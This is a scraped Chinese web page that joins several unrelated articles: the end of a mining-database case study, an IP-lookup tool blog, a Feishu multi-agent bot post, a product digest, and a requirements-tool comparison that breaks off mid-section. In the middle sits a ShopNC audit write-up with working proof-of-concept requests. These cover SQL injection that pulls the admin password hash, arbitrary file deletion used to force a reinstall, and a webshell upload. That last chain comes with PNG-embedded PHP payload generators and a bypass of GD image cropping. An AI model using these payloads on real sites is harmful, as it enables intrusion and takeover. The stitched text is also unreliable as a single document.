此次为煤矿行业实施的实践,不仅验证了 TDengine TSDB 在煤矿复杂场景下的适配性与优越性,更为煤炭行业数字化转型提供了 “数据驱动 + 技术赋能” 的可复制范本。未来,我们将继续深化与 TDengine 的合作,持续挖掘数据价值,推动智能监测、预测性维护、数字孪生等技术在矿山场景的深度落地,以更先进的数字化能力引领行业高质量发展,为建设安全、高效、绿色的新型现代化矿山注入持久动力。

关于恒达智控

郑州恒达智控科技股份有限公司总部位于河南郑州,是国际领先的综采工作面自动化控制技术成套装备供应商与煤矿智能化开采一站式解决方案提供商,专注于煤炭无人化智能开采控制技术和装备的研发、生产、销售及技术服务,主营电液控制系统、智能集成管控系统、液压控制系统、智能供液系统等产品,秉承 “客户至上、成就员工、艰苦奋斗、开放创新” 的核心价值观,致力于为煤炭智能开采、智慧矿山提供安全、高效、智能、绿色的技术装备及解决方案。

关于作者

智慧矿山部

做技术分享这些年里,我接触过不少做风控、广告投放、跨境电商和运维监控的朋友,大家其实都讨论过一个问题——查IP地址用什么软件好?作为长期做数据测试的博主,其实我也在实际项目里反复对比过多款工具,像IP数据云、DB-IP之类的专业IP地址查询服务,目标就是提供高精度、稳定、可集成的IP地址查询能力,进行查IP地址的归属地,识别运营商、ASN、是否数据中心IP等功能,满足一定的开发场景。

一、查IP地址用什么软件好?

很多人问“查IP地址用什么软件好”,其实就像脱离环境谈工具一样,还得看什么样的使用环境,其实大致也就两种,尊变查查,只看一两个,目的也不会引发后果的,其实没必要,网上有很多浏览器网页类IP地址查询工具其实已经很足够了。但如果涉及批量查IP地址,网站访问量大、要求高,或者站长有一定的精准度需求网页工具就不太能够用了。

所以这就说到了开发/运维场景

真正需要认真考虑“查IP地址用什么软件好”的,其实是企业、网站的开发者、运维、产品、技术负责人这些。有批量解析IP地址、风控系统判断机房IP、判断是否代理IP、接口实时校验用户来源国家、广告流量过滤异常IP等等需求的专业人士。

这时候就不能只用网页工具,而是需要API接口或离线IP库。

二、电脑/手机端查IP地址工具推荐思路

而IP地址工具的选择,我个人的选择逻辑是三步:

第一步:看数据精准度

IP地址查询核心是数据质量。好的IP库要具备:

  • 高频更新
  • 支持IPv4/IPv6
  • 精确到市级甚至更细
  • 能识别数据中心IP

第二步:看稳定性

如果你把IP地址查询接入业务系统,接口稳定性直接影响服务可用性。特别是高并发业务,对响应时间要求通常在毫秒级,需要你在使用的时候,和业务方对接,进行一定的测试。

第三步:看扩展能力

专业IP地址查询软件或服务应该支持以下功能,对一些风控要求做出回应:

  • HTTP API
  • 批量查询
  • 离线数据库
  • SDK接入
  • ASN、运营商、是否代理IP等字段

查IP地址用什么软件好?良心推荐.png

三、实操示例:开发者如何接入IP地址查询

以常见的API方式为例:

GET /ip?address=8.8.8.8

返回数据结构示意:

{
  "ip": "8.8.8.8",
  "country": "US",
  "province": "",
  "city": "",
  "isp": "Google LLC",
  "asn": "AS15169",
  "is_datacenter": true
}

在实际业务中,你可以:

  • 登录时判断IP地址是否为数据中心IP,决定是否加强验证
  • 广告投放时过滤异常IP地址段
  • 分析日志时批量查IP地址归属地
  • 统计不同地区用户占比

如果是高并发业务,建议直接部署离线IP地址库,避免外网依赖,也满足一些安全需求,实现毫秒级本地查IP地址。

四、查IP地址用什么软件好?对比总结

维度网页工具手机App专业IP查询服务
单个IP查询方便方便支持
批量查IP地址不支持不支持支持
API接入支持
离线部署不支持不支持支持
数据中心IP识别基本无支持
更新频率不稳定不明确高频更新
适合开发使用

从这个表格可以看出,如果只是偶尔查IP地址,普通工具即可;但如果你是做系统开发、风控、广告、跨境业务,那么还是选专业IP地址查询服务。

总结

  • 个人临时查IP地址 → 网页工具
  • 手机端临时查看 → 简单App
  • 企业级/开发场景 → 专业IP地址查询服务

尤其在风控、广告、跨境、电商场景中,IP地址查询已经不是“工具”,而是底层数据能力。像IP数据云这样的专业服务,其目标就是为开发者和企业提供高精度、多维度、可集成的IP地址查询能力,从API到离线库,覆盖完整技术链路,毕竟,IP地址查询的准确与否,可能直接影响你的风控效果和数据决策质量。

开门见山

地址: https://github.com/Alenryuichi/clawdbot-feishu

实测可以让 main agent 发送 @去调用其他 agent ,组成 multi-agent 开发团队
pr 已提交到官方插件库,还没过

为什么不用非 mention 模式?

因为要控制 bot 之间的主次层级,不能让所有 bot 都响应每条消息,会出现 ping-pong 问题!

并且飞书的 bot 即使在非 mention 模式下,也会忽略其他机器人发的消息!

效果如下:

飞书 multi-agent 效果

背景

我希望在飞书群聊中部署一个多 Agent 团队:


Tech Lead Bot - 负责技术决策和任务分配
iOS Dev Bot - 负责 iOS/Swift 相关问题
Go Dev Bot - 负责后端/Go 相关问题

理想场景:用户提问 → Tech Lead 分析后 @mention 专家 → 专家回复 → 专家之间可以互相讨论

我用了很多方法,都行不通,主要是飞书的限制,如下 :

核心限制:飞书 message_receive_v1 事件

飞书的 Bot 消息接收事件 (im.message.receive_v1) 有一个关键限制:

Bot 发送的消息不会触发其他 Bot 的 message_receive_v1 事件

这意味着:

✅ 用户 @Bot → Bot 收到事件 → Bot 回复

❌ BotA @BotB → BotB 收不到任何事件

这是飞书平台层面的设计,无法通过配置或 API 绑过。

✅ 最终成功的方案:Bot-to-Bot Relay (合成事件)

原理
既然飞书不会推送 Bot 间的消息事件,我们在应用层"模拟"这个过程:

BotA 回复消息 → 解析消息中的 @mention → 创建"合成事件" → 直接调用 BotB 的消息处理函数

实现架构

┌─────────────────────────────────────────────────────────────────┐
│                        OpenClaw Gateway                         │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│   ┌─────────────┐     ┌─────────────┐     ┌─────────────┐      │
│   │ Tech Lead   │     │  iOS Dev    │     │   Go Dev    │      │
│   │    Bot      │────▶│    Bot      │────▶│    Bot      │      │
│   └─────────────┘     └─────────────┘     └─────────────┘      │
│         │                   │                   │               │
│         ▼                   ▼                   ▼               │
│   ┌─────────────────────────────────────────────────────┐      │
│   │              Bot Registry (bot-relay.ts)             │      │
│   │  - 注册所有 Bot 的 OpenID                            │      │
│   │  - 解析 @mention 标签                                │      │
│   │  - 创建合成事件并触发目标 Bot                         │      │
│   └─────────────────────────────────────────────────────┘      │
│                              │                                  │
│                              ▼                                  │
│   ┌─────────────────────────────────────────────────────┐      │
│   │           Shared History (shared-history.ts)         │      │
│   │  - 跨 Bot 共享聊天记录                               │      │
│   │  - 持久化到 JSONL 文件                               │      │
│   └─────────────────────────────────────────────────────┘      │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

核心代码模块

文件	功能
bot-relay.ts	Bot 注册、 @mention 解析、合成事件触发
shared-history.ts	跨 Bot 聊天记录共享( JSONL 持久化)
reply-dispatcher.ts	Bot 回复后触发 relay
monitor.ts	启动时注册所有 Bot

@mention 格式要求

为了让 relay 系统能解析 @mention ,Bot 必须使用特定格式:

<at user_id="ou_xxxx">Go 助手</at>

成功实现的功能

✅ Tech Lead → iOS/Go Bot:Tech Lead 可以 @mention 并触发子 Bot

✅ 共享上下文:所有 Bot 都能看到完整的聊天历史

✅ 动态队友发现:每条消息都会注入可用队友列表

文章亮点

  1. 将PHP代码嵌入PNG的IDAT数据块(压缩的像素数据区)绕过裁剪图片(imagecopyresampled
  2. 构造恶意数组绕过格式化字符串进行Update、Insert语句的SQL注入
  3. 组合利用案例演示

审计环境

  • ShopNC源码版本:2014.01.16.2490
  • OS:Windows 11 10.0.22631
  • 软件:phpStudy 2018
  • 中间件:Nginx 1.11.5
  • CLI解释器:PHP 5.6.27 With Xdebug v2.4.1
  • 数据库:Mysql 5.5.53
  • 编辑器:PhpStorm 2025.3.1.1

安装

  1. 拉去源码,拉取后记得删除shop/install/lock文件。 https://github.com/angels13/shopnc
  2. 安装好审计环境,主要是用phpStudy,PhpStorm只是用来断点调试的。
  3. 注意Mysql配置时区,配置文件可以直接用phpStudy打开。
[mysqld]
default-time-zone=+08:00
  1. 将源码目录复制到WWW目录下,不建议直接将文件放到根目录,所以将文件夹一起复制就行。访问后按照步骤输入数据库账户密码和管理员密码进行安装即可。

Mysql开启日志监测

为了找出SQL注入的地方需要监测执行的SQL语句,之前我用的是Release MySQLMonitor · TheKingOfDuck/MySQLMonitor,但是我发现有一些命令执行了没有监测到,所以按照下面的步骤直接打开SQL日志看就行。

  1. 开启日志
SHOW VARIABLES LIKE 'general_log%';
SET GLOBAL general_log = 'ON';
SHOW VARIABLES LIKE 'general_log%';
  1. 打开powershell,替换$file路径,这里data目录就一个log文件,直接替换路径就行。然后通过Get-Content的Wait帮我们监控日志刷新内容就可以了。
chcp 65001
$file = "D:\phpStudy\PHPTutorial\MySQL\data\xxx.log"
Get-Content -Path $file -Wait -Tail 0 -Encoding UTF8

审计结果

审计当然先得上RIPS、fortify工具扫一下,现在也有AI工具了,可以接入Claude帮助你更快的找到高危害漏洞。

SQL注入

因为是update、insert语句的SQL注入,不允许再嵌套一个执行语句,从语法上就行不通。因为底层执行SQL查询的函数是mysql_query只能执行一条SQL语句。这两个限制导致这个SQL注入漏洞只能

主要原因是parseValue函数允许传入特殊数组,当数组第一个元素为文本exp时会将第二个元素不经过过滤就直接拼接到SQL语句中。例如:['exp', '(select 1)']

core/framework/libraries/model.php parseValue 711
core/framework/libraries/model.php parseSet 1065
core/framework/libraries/model.php update($data,$options) 948
core/framework/libraries/model.php update($data='',$options=array()) 360

存在问题代码:

protected function parseValue($value) {
    if(is_string($value) || is_numeric($value)) {
        $value = '\''.$this->escapeString($value).'\'';
    }elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
        $value   =  $value[1];
    }elseif(is_array($value)) {
        $value   =  array_map(array($this, 'parseValue'),$value);
    }elseif(is_null($value)){
        $value   =  'NULL';
    }
    return $value;
}

利用点,当传入的是数组,并且第一个元素为文本exp就直接返回第二个元素内容。

elseif(isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp'){
        $value   =  $value[1];

该函数被诸多地方被使用。

image.png

我找到了一处用户可以注册登陆后进入到我的资料【用户中心】,在更新用户资料时,会触发update语句,可以看到我们传入了数组。

image.png

抓包修改member_truename为数组,测试payload

member_truename[0]=exp&member_truename[1]=user()

image.png

可以看到执行了我们注入的SQL语句。

image.png

提示保持成功后会自动刷新界面。

image.png

断点调试跟进

image.png
这里是从传输的参数中自动选择主键当作where条件。

image.png

进入到生成SQL语句的函数。

image.png

进入到拼接set语句的函数。

image.png

进入到对value处理的函数,可以看到我们进入了重要的一步$value = $value[1];直接返回我们设置恶意的SQL语句。

image.png

可以看到已经拼接成功了。

image.png

最后拼接成完整的SQL语句。

image.png

测试poc,注意是要登陆的情况下。

POST /shopnc/shop/index.php?act=home&op=member&inajax=1 HTTP/1.1
Host: localhost
Content-Length: 325
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

form_submit=ok&old_member_avatar=avatar_1.jpg&privacy%5Bemail%5D=0&member_truename[0]=exp&member_truename[1]=user()&privacy%5Btruename%5D=0&member_sex=3&privacy%5Bsex%5D=0&birthday=&privacy%5Bbirthday%5D=0&province_id=&city_id=&area_id=&area_info=&privacy%5Barea%5D=0&member_qq=&privacy%5Bqq%5D=0&member_ww=&privacy%5Bww%5D=0

可以获取admin_password,但是member_truename类型为varchar(20)太短了,在其他地方的insert、update语句都存在这个漏洞。我找到了收货地址->新建地址

(SELECT admin_password FROM shopnc.shopnc_admin WHERE admin_id=1)

效果图:

image.png

然后拿去CMD5解密即可。

image.png

你也可以使用下面的语句查询数据库密码,同样可以放到CMD5解密。

select password from mysql.user limit 1;

任意文件删除

源码中存在很多unlink函数的使用,发现一处没有经过校验就直接删除文件的地方。主要是用到了url参数。

circle/control/cut.php pic_cutOp 65

存在问题的代码:

$src = str_ireplace(UPLOAD_SITE_URL,BASE_UPLOAD_PATH,$_POST['url']);
...
@unlink($src);
  • UPLOAD_SITE_URLdefine('UPLOAD_SITE_URL',$config['upload_site_url']);在当前环境就是:http://localhost/shopnc/data/upload/
  • BASE_UPLOAD_PATHdefine('BASE_UPLOAD_PATH',BASE_DATA_PATH.'/upload');在当前环境就是:D:\phpStudy\PHPTutorial\WWW\shopnc\data\upload

测试payload,使用时注意修改http://localhost部分,例如我有一级文件夹名称为shopnc就是http://localhost/shopnc

url=http://localhost/shopnc/data/upload/../../shop/install/lock

替换后为:

D:/phpStudy/PHPTutorial/WWW/shopnc/data/upload/../../shop/install/lock

测试poc,只需要修改url即可,注意要添加Cookie,其他参数随意,因为不重要。

POST /shopnc/circle/index.php?act=cut&op=pic_cut HTTP/1.1
Host: localhost
Content-Length: 138
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

form_submit=ok&x1=-43&x2=7&w=50&y1=-30&y2=20&h=50&url=http://localhost/shopnc/data/upload/../../shop/install/lock&newfile=avatar_1_new.png

可以看到urlstr_ireplace替换成了本地data/upload路径。

image.png

虽然这里会报错,是因为提供的文件路径,获取后发现不是图片文件,但是可以看到返回了lock说明成功执行了$pathinfo['basename']

image.png

再一次刷新后就会进入到系统安装界面。

image.png

管理员后台任意文件上传

该漏洞存在于管理员后台的会员标签编辑处,当POST中带有old_membertag_name参数时会通过$upload->set修改file_name为用户输出的内容,这里可以改成任意的文件名并且可以目录穿越。

admin/control/sns_member.php tag_editOp 132

存在问题的代码:

if ($_POST['old_membertag_name'] != ''){
  $upload->set('file_name', $_POST['old_membertag_name']);
}

代码为参考文献1里的。

<?php

if(count($argv) != 3) exit("Usage $argv[0] <PHP payload> <Output file>");

$_payload = $argv[1];
$output = $argv[2];

while (strlen($_payload) % 3 != 0) { $_payload.=" "; }

$_pay_len=strlen($_payload);
if ($_pay_len > 256*3){
    echo "FATAL: The payload is too long. Exiting...";
    exit();
}
if($_pay_len %3 != 0){
    echo "FATAL: The payload isn't divisible by 3. Exiting...";
    exit();
}

$width=$_pay_len/3;
$height=20;
$im = imagecreate($width, $height);

$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);

for($i=0; $i < count($_chunks); $i++){
    $_color_chunks=str_split($_chunks[$i], 2);
    $color=imagecolorallocate($im, hexdec($_color_chunks[0]), hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
    imagesetpixel($im,$i,1,$color);
}

imagepng($im,$output);

允许命令生成带有shell code的图片,也可以使用其他方式,因为这里只需要绕过getimagesize函数,让它认为是正常的图片就行。

php gen.php "<?php @system($_POST['cmd']); ?>" payload.png
php gen.php "<?php @eval($_POST['ant']); ?>" payload.png

image.png

进入管理员后台,找到会员->会员标签->新建->标签图片,任意上传一张图片。然后任意填写其他字段,最后点击提交。

image.png

回到会员->会员标签->标签管理,找到我们新建的记录,点击编辑。

image.png

然后在会员->会员标签->新建->标签图片上传payload照片,抓包后添加新的字段。

Content-Disposition: form-data; name="old_membertag_name"

../../payload.php

image.png

观察字段输入情况,发现已经将文件名设置成了我们想要的../../payload.php

image.png

依旧绕过了getimagesize的检查,这里传的文件名就是png符合硬编码的allow_type数组内的白名单校验。

image.png

最后通过move_uploaded_file将我们恶意的file_name拼接到文件路径。

image.png

然后访问http://localhost/shopnc/data/upload/payload.php即可获得webshell。可以通过echo命令写入新的木马,也可以在生成图片时用不一样的payload。

image.png

测试POC:

POST /shopnc/admin/index.php?act=sns_member&op=tag_edit&id=1 HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXCKI8sZgsLbdG0xR
Connection: keep-alive

------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="form_submit"

ok
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="id"

1
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="old_membertag_name"

08226595474847548.png
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="membertag_name"

dsfa
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="membertag_recommend"

0
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="membertag_sort"

0
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="membertag_desc"

asdfadsf
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="textfield"

C:\fakepath\payload.png
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="old_membertag_name"

../../payload.php
------WebKitFormBoundaryXCKI8sZgsLbdG0xR
Content-Disposition: form-data; name="membertag_img"; filename="payload.png"
Content-Type: image/png

<payload.png>
------WebKitFormBoundaryXCKI8sZgsLbdG0xR--

绕过PHP-GD图片裁剪

这个方法主要用到了参考文献2,让图片经历过重采样复制和调整图像部分大小之后还能带有payload。结合了文件重命名可以命名为php文件的路径拼接漏洞,达到getshell的效果。

core/framework/function/thumb.php resize_thumb 53
circle/control/cut.php pic_cutOp 60

存在问题的代码:

if (!empty($_POST['filename'])){
  $save_file2 = BASE_UPLOAD_PATH.'/'.$_POST['filename'];

先通过以下代码创建payload图片

<?

header('Content-Type: image/png');

$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 );

$img = imagecreatetruecolor(55, 55);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img);

?>

执行命令

php gen.php > payload.png

进入个人主页->相册->上传更多照片处上传payload.png。

image.png

观察返回包,可以看到提供了path和url。

image.png

这里需要修改一下url,因为url默认提供的是修改后的图片,不能正常当作png读取了。修改起来很简单,将_240去掉。

image.png

然后构造pic_cut请求,注意这里提交的参数,x1和y1都为0对应图片的源点坐标,x2和y2没有使用到,可以不用管。其他的值都需要为32,其中x的值会在$scale = $thumb_width/$w变成1,在$newImageWidth = ceil($width * $scale);后保持为32。注意这里使用头像裁剪修改成当前接口时,需要把newfile=avatar_1_new.png替换成filename=shell.php

POST /shopnc/circle/index.php?act=cut&op=pic_cut HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

form_submit=ok&x=32&x1=0&w=32&y1=0&h=32&url=http://localhost/shopnc/data/upload/shop/member/2/2_08230321886438744.png&filename=shell.php

断点后可以看到将我们提供的filename直接拼接到upload目录下了。

image.png

经过imagecopyresampled($newImage,$source,0,0,0,0,32,32,32,32);处理后由imagepng函数输出新的图片,而这里的路径为我们自定义的文件名。

image.png

此时可以看到shell.php中还包含着payload:<?=$_GET[0]($_POST[1]);?>

image.png

最后访问/shopnc/data/upload/shell.php就可以愉快的getshell了。

image.png

参考文献

  1. Persistent PHP payloads in PNGs: How to inject PHP code in an image –
  2. La PNG qui se prenait pour du PHP

案例演示

这个案例是结合任意文件删除+管理员后台任意文件上传完成getshell,其他路径:SQL注入+管理员后台任意文件上传、IDAT有效载荷。

创建Mysql服务

为了删除lock文件重装后提供数据库信息,我们需要预先在VPS上使用docker创建mysql。

docker run -d --name mysql55 -p 3306:3306 -e MYSQL_ROOT_PASSWORD=root mysql:5.5

删除lock文件

CleanShot 2026-01-29 at 22.16.08@2x.png

设置->个人资料->更换头像上传图片并抓取裁剪的数据包。

CleanShot 2026-01-29 at 22.16.24@2x.png

修改抓到的修改成可以任意文件删除的数据包,删除lock文件。

image.png

再次访问是进入到安装向导界面。

重装系统

CleanShot 2026-01-29 at 22.17.02@2x.png

进入安全后,填写VPS IP以及数据库的账户密码,自定义管理员账户。数据库密码为root,docker语句有设置。

CleanShot 2026-01-29 at 22.17.22@2x.png

然后进入下一步安装数据库。

image.png

后台getshell

访问/admin进入管理员后台界面,使用管理员账号进行登陆。

CleanShot 2026-01-29 at 22.17.46@2x.png

创建会员标签。

CleanShot 2026-01-29 at 22.18.06@2x.png

编辑并上传payload图片。

image.png

getshell

image.png

今日速览

  1. Superset:多任务并行开发,效率飙升十倍。
  2. Claude Code Remote Control:手机平板无缝续写代码。
  3. Nano Banana 2:谷歌出品,极速生成高质量图像。
  4. Perplexity Computer:全能 AI 系统,自主搞定项目全流程。
  5. Mastra Code:告别上下文丢失,编码助手更精准。
  6. What's Up With That?:浏览器扩展,10 秒读懂行业动态。
  7. Hacker News for macOS:原生客户端,刷帖体验再升级。
  8. lemonpod.ai:AI 播客为你讲述昨日精彩。
  9. Alkemi:Slack 里的数据科学家,实时解答业务问题。
  10. MaxClaw by MiniMax:全天候托管代理,开箱即用无部署。


1. Superset

这款神器能帮你把多个代码代理塞进一个 IDE,告别频繁切换的烦恼,开发效率直接拉满。

  • 同时运行多个代理,避免上下文切换负担
  • 每个任务独立沙箱运行,互不干扰
  • 集中监控所有代理,及时接收通知
  • 内置差异查看器和编辑器,快速审查更改

热度:🔺470

Superset

访问官网 Product Hunt 详情


2. Claude Code Remote Control

让你在手机、平板或任何浏览器上继续本地 Claude Code 会话,随时随地敲代码不停歇。

  • 支持在多种设备上远程控制本地会话
  • 适用于 claude.ai/code 和 Claude 移动应用

热度:🔺419

Claude Code Remote Control

访问官网 Product Hunt 详情


3. Nano Banana 2

谷歌最新推出的 AI 图像生成模型,速度快得飞起,还能保持主题一致性,创作更省心。

  • 具备先进的世界知识和生产级规格
  • 主题一致性高,生成图像质量稳定
  • 极速生成,减少等待时间

热度:🔺354

Nano Banana 2

访问官网 Product Hunt 详情


4. Perplexity Computer

把当前所有 AI 能力打包进一个系统,从研究到部署全自动搞定,简直是项目管理的终极武器。

  • 自主进行项目研究、设计、编码、部署和管理
  • 并行协调 19 个模型,智能分配任务
  • 连接你的工具,记住上下文,运行安全代理
  • 按使用量计费,支持支出控制

热度:🔺344

Perplexity Computer

访问官网 Product Hunt 详情


5. Mastra Code

专治编码助手上下文窗口爆满的痛点,用观察记忆技术保住关键细节,让你长时间编码也不掉链子。

  • 实时观察、反思并压缩上下文,不漏重要信息
  • 支持长时间编码,保持高精度
  • 加快构建速度,提前合并并高效发布

热度:🔺200

Mastra Code

访问官网 Product Hunt 详情


6. What's Up With That?

装上这个浏览器扩展,读文章时 10 秒内就能获取行业前沿动态,还有一堆 AI 工具帮你深度分析。

  • 实时生成行业前沿地图,快速反馈新信息
  • 提供 35 种基于思维模型的 AI 工具(如红队分析)
  • 可获取个性化研究计划,自动捕捉决策数据点

热度:🔺159

What's Up With That?

访问官网 Product Hunt 详情


7. Hacker News for macOS

为 macOS 用户量身打造的原生客户端,视觉网格浏览、侧边阅读评论,刷 Hacker News 从此更爽快。

  • 使用 SwiftUI 构建,提供快速原生体验
  • 视觉网格浏览故事,查看文章缩略图
  • 并排阅读文章和评论,支持阅读模式
  • 完整暗黑模式,15+ 快捷键,内置广告拦截
  • 免费开源,支持账户登录和会话同步

热度:🔺150

Hacker News for macOS

访问官网 Product Hunt 详情


8. lemonpod.ai

把你的日历、跑步记录、音乐播放和代码提交变成 AI 播客,每天早上听一段专属的昨日回顾,开启高效一天。

  • 整合日历、Strava、Last.fm、GitHub 等数据源
  • 生成定制 AI 讲述的早间播客,可选不同声音
  • 提供昨日回顾、今日待办、锻炼数据等内容
  • 通过 RSS 或应用轻松获取,适合忙碌生活

热度:🔺135

lemonpod.ai

访问官网 Product Hunt 详情


9. Alkemi

在 Slack 里塞进一个 AI 数据助手,团队随时提问、探索洞察,用业务数据快速生成报告,决策不再抓瞎。

  • 通过对话式 AI 在 Slack 中提供强大分析功能
  • 实时提问、探索洞察,快速生成报告或图表
  • 连接信赖的业务数据,支持团队协作

热度:🔺119

Alkemi

访问官网 Product Hunt 详情


10. MaxClaw by MiniMax

基于 MiniMax 技术的托管代理,7×24 小时在主流通讯平台待命,无需部署,开箱即用。

  • 支持 Telegram、WhatsApp、Slack、Discord 全天候使用
  • 无需部署,无额外 API 费用
  • 内置 MiniMax 专家生态系统,工具升级至实用水平

热度:🔺109

MaxClaw by MiniMax

访问官网 Product Hunt 详情

刚从市场转型做项目经理时,我最怕的不是忙,而是需求到处飞。这次我试用对比了 8 款常见需求管理工具:ONES、Tower、Jira、Azure DevOps、GitLab、Linear、Productboard、Jama Connect。我会从“需求入口→拆解→优先级→交付闭环→知识沉淀→质量治理”的角度讲清楚各自强弱,帮你更快选到顺手的一款需求管理工具。

需求失控:新人 PM 最怕的不是忙,是乱

我第一次当 PM,接手的是一个“跨部门 + 紧节点”的项目。最经典的一天是这样的:

  • 上午:销售说客户要“加一个小功能”,在群里一句话;市场同事在文档里把 PRD 改了三版;
  • 下午:研发问“到底以哪版为准?验收标准在哪?”;测试说“我只拿到半张用例表”;
  • 晚上:我在群里追问变更影响,大家开始互相甩锅——需求没统一入口、没优先级规则、没变更留痕。

后来我才明白:新人 PM 一上来就想“把需求写得很完美”,通常会失败。更现实的打法是——先用一款合适的需求管理工具,把需求从“口头承诺”变成“可追踪的工作项”,再把它串到迭代、测试和发布里,跑通最短闭环。

很多人问“口碑排行榜是不是看评分?”我自己的答案更朴素:口碑 = 团队愿不愿意持续用 + 用了之后是否明显减少沟通成本。

下面我会用 6 个维度来做试用对比:

  1. 需求入口:能否把客户反馈/内部建议收进一个需求池,减少信息散落。
  2. 结构化拆解:能否拆成 Epic/Feature/Story/Task,并保持层级清晰。
  3. 优先级与路线图:排序、里程碑、Roadmap/Timeline 是否顺手,干系人能否一眼看懂。
  4. 端到端闭环:需求→任务→代码→测试→发布是否能自然关联。
  5. 协作与知识沉淀:讨论记录、决策依据、PRD、会议纪要能否与需求互相挂钩。
  6. 度量与开放拓展:是否有报表/效能改进抓手,以及 API/集成能力。

工具速览:8 款热门需求管理软件怎么分层选

我把它们分成 3 层(不是权威排名,更像适配场景的分层选型):

我建议新人 PM 的试用顺序:

先选 2 个工具做“最短闭环试跑”——

1)把需求入口统一;2)跑一轮迭代;3)把验收与缺陷挂回需求;4)做一次复盘沉淀。

谁能让团队更顺地跑完这 4 步,谁就更适合你。

ONES:把“需求→交付→质量→报表→知识”连成闭环

关键词标签:需求池|工作项|迭代管理|缺陷管理|测试用例|知识库|项目报表|开放 API|端到端闭环

如果你的团队常见痛点是:需求收到了,但落不下去;落下去后又追不回来;最后靠开会补洞——那我会把 ONES 放进优先试用清单。它的定位更像研发项目管理底座:把工作项协同、迭代跟踪、进度把控、质量管理、项目报表整合在一起,并与其他能力形成协同闭环。

核心功能(我关注的“需求管理三件套”)

① 需求入口:先把需求收拢进同一套工作项体系

新人 PM 最容易做错的一步,是拿着 PRD 就想“一次写完”。我更推荐:先把所有输入统一进“需求池/Backlog”,哪怕标题很粗糙,也先让需求可被看见、可被分配、可被追踪。ONES 的“工作项自定义能力 + 组件化组合”思路,比较适合用来承载这种逐步规范化的过程。

② 需求拆解:把需求写成“可交付的单位”

我在 ONES 里最常做的动作是:

  • 把需求描述写成“用户价值 + 场景 + 约束”;
  • 强制加一段验收标准(比如:什么条件算完成、边界是什么、如何验证);
  • 再拆成可执行的任务/子工作项。

这样做的好处是:团队讨论会从“你觉得/我觉得”转向“以验收标准为准”。

③ 优先级与节奏:用迭代让需求有“上车顺序”

好的需求管理工具,往往能帮你把“谁先谁后”这件事变得更可解释。ONES 的迭代跟踪与进度把控能力,是我用来稳定节奏的关键:当迭代里每个需求都有负责人、有状态、有阻塞原因,你就不需要每天靠催。

需求管理能力(我会用它跑“最短闭环”)

你可以把这段当作“新人 PM 的闭环模板”。

步骤 1:统一入口:把所有需求进到需求池/Backlog(先收拢再规范)
步骤 2:澄清与评审:每周固定一次“澄清—排序—决策”,把结果写成可追溯记录
步骤 3:进入迭代:需求进迭代后再拆任务,明确负责人、截止期与验收标准
步骤 4:质量回挂:缺陷/测试信息回挂到需求(让返工来源可见)
步骤 5:复盘沉淀:把“为什么这么做/踩了什么坑/下次怎么更稳”沉淀为知识(与需求互链)

ONES Project 本身强调将敏捷研发、DevOps、项目管理整合到一起,并提供质量管理与报表能力,所以跑这条闭环的成本相对更低。

适用场景:

  • 研发团队占比高、交付节奏明确、希望需求管理与质量治理同频
  • 跨部门协作多、需求变更频繁、需要一套“可追踪”的协作底座
  • 想从“救火型项目管理”升级为“可复盘、可改进”的管理方式

优势亮点:

  • 闭环不是口号,而是结构:工作项协同、迭代跟踪、质量管理、报表在同一套体系里,减少断点。
  • 支持逐步标准化:你可以先跑通最短闭环,再逐步增加字段/流程治理,不必一次到位。

局限与使用体验提醒(新人别踩坑)

